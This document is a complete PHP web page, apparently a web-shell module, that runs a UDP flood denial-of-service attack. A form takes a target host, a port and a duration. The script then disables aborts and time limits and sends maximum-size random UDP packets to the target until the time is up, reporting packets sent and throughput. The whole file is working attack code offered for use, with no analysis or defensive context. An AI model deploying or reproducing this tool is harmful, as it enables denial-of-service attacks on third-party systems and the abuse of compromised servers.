UDP Green Shell with attack port

<html>
<body>
<title>
UDP Flood</title>
<font color="00FF00">

<center>
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
}
button{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
}
body {
background-color: black;
}
</style>
</br>
</br>
</br>
</br>
</br>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['port'])&&isset($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];
    $port = $_GET['port'];

    $out = "";
    for($i=0;$i<65507;$i++){
        $out .= chr(rand(0,255));
    }

    while(1){
        $packets++;
        if(time() > $max_time){
            break;
        }
        $fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
        }
    }
    echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second\n";
    echo '<br><br>
<form action="" method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Port: <br><input type="text" name="port" value=><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type="text" name="host" value=><br>
Port: <br><input type="text" name="port" value=><br>
Length (seconds): <br><input type="text" name="time" value=><br><br>
<input type=submit value=Go></form>';
}
?>

</center>
</body>

</html>